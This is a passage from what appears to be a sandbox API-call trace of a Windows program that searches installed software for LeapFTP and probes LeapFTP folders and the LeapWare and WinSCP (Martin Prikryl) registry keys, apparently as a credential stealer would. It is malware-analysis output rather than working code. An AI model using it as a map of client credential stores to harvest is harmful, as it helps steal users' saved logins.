\"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.473] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.473] StrStrA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="MsiExec.exe /X{91140000-003B-0000-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-003B-0000-0000-0000000FF1CE}\" \"{8A8F117F-8EDB-440D-B679-F08909D729F7}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="MsiExec.exe /X{91140000-0057-0000-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.474] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="leapftp") returned 0x0 [0068.474] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-0057-0000-0000-0000000FF1CE}\" \"{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="leapftp") returned 0x0 [0068.475] StrStrA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="unleap.exe") returned 0x0 [0068.475] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="leapftp") returned 0x0 [0068.475] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.475] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.475] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.475] lstrlenA (lpString="\\LeapWare\\LeapFTP") returned 17 [0068.475] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0068.475] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.475] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\LeapWare\\LeapFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP" [0068.476] LocalFree (hMem=0x626a88) returned 0x0 [0068.476] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP") returned 49 [0068.476] lstrlenA (lpString="\\*.*") returned 4 [0068.476] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643b68 [0068.476] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP" [0068.476] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP\\*.*" [0068.476] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP\\*.*", lpFindFileData=0x12fd5a | out: lpFindFileData=0x12fd5a) returned 0xffffffff [0068.476] LocalFree (hMem=0x643b68) returned 0x0 [0068.476] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP") returned 49 [0068.476] lstrlenA (lpString="\\*.*") returned 4 [0068.476] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643b68 [0068.476] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP" [0068.476] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP\\*.*" [0068.476] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\LeapWare\\LeapFTP\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.476] LocalFree (hMem=0x643b68) returned 0x0 [0068.476] LocalFree (hMem=0x643aa8) returned 0x0 [0068.476] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.476] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.476] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.476] lstrlenA (lpString="\\LeapWare\\LeapFTP") returned 17 [0068.476] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.476] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.476] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\LeapWare\\LeapFTP" | out: lpString1="C:\\ProgramData\\LeapWare\\LeapFTP") returned="C:\\ProgramData\\LeapWare\\LeapFTP" [0068.476] LocalFree (hMem=0x626a88) returned 0x0 [0068.476] lstrlenA (lpString="C:\\ProgramData\\LeapWare\\LeapFTP") returned 31 [0068.476] lstrlenA (lpString="\\*.*") returned 4 [0068.476] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.476] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\LeapWare\\LeapFTP" | out: lpString1="C:\\ProgramData\\LeapWare\\LeapFTP") returned="C:\\ProgramData\\LeapWare\\LeapFTP" [0068.477] lstrcatA (in: lpString1="C:\\ProgramData\\LeapWare\\LeapFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\LeapWare\\LeapFTP\\*.*") returned="C:\\ProgramData\\LeapWare\\LeapFTP\\*.*" [0068.477] FindFirstFileA (in: lpFileName="C:\\ProgramData\\LeapWare\\LeapFTP\\*.*", lpFindFileData=0x12fd5a | out: lpFindFileData=0x12fd5a) returned 0xffffffff [0068.477] LocalFree (hMem=0x6292f8) returned 0x0 [0068.477] lstrlenA (lpString="C:\\ProgramData\\LeapWare\\LeapFTP") returned 31 [0068.477] lstrlenA (lpString="\\*.*") returned 4 [0068.477] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.477] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\LeapWare\\LeapFTP" | out: lpString1="C:\\ProgramData\\LeapWare\\LeapFTP") returned="C:\\ProgramData\\LeapWare\\LeapFTP" [0068.477] lstrcatA (in: lpString1="C:\\ProgramData\\LeapWare\\LeapFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\LeapWare\\LeapFTP\\*.*") returned="C:\\ProgramData\\LeapWare\\LeapFTP\\*.*" [0068.477] FindFirstFileA (in: lpFileName="C:\\ProgramData\\LeapWare\\LeapFTP\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.477] LocalFree (hMem=0x6292f8) returned 0x0 [0068.477] LocalFree (hMem=0x641518) returned 0x0 [0068.477] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.477] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.477] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.477] lstrlenA (lpString="\\LeapWare\\LeapFTP") returned 17 [0068.477] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x641518 [0068.477] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.477] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\LeapWare\\LeapFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP" [0068.477] LocalFree (hMem=0x626a88) returned 0x0 [0068.477] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP") returned 47 [0068.477] lstrlenA (lpString="\\*.*") returned 4 [0068.477] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x643aa8 [0068.477] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP" [0068.477] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP\\*.*" [0068.477] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP\\*.*", lpFindFileData=0x12fd5a | out: lpFindFileData=0x12fd5a) returned 0xffffffff [0068.477] LocalFree (hMem=0x643aa8) returned 0x0 [0068.477] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP") returned 47 [0068.477] lstrlenA (lpString="\\*.*") returned 4 [0068.478] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x643aa8 [0068.478] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP" [0068.478] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP\\*.*" [0068.478] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\LeapWare\\LeapFTP\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.478] LocalFree (hMem=0x643aa8) returned 0x0 [0068.478] LocalFree (hMem=0x641518) returned 0x0 [0068.478] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\LeapWare", phkResult=0x12fecc | out: phkResult=0x12fecc*=0x0) returned 0x2 [0068.478] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\LeapWare", phkResult=0x12fecc | out: phkResult=0x12fecc*=0x0) returned 0x2 [0068.478] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.478] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.478] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.478] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.478] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.478] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.478] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.479] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x1c, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.479] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.479] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Martin Prikryl", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.479] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.479] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.479] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.479] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.479] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.479] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.479] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x8) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x0, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x1d, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0068.479] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fde0*=0x0, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0068.479] GetWindowsDirectoryA (in: lpBuffer=0x12fde7, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0068.479] lstrlenA 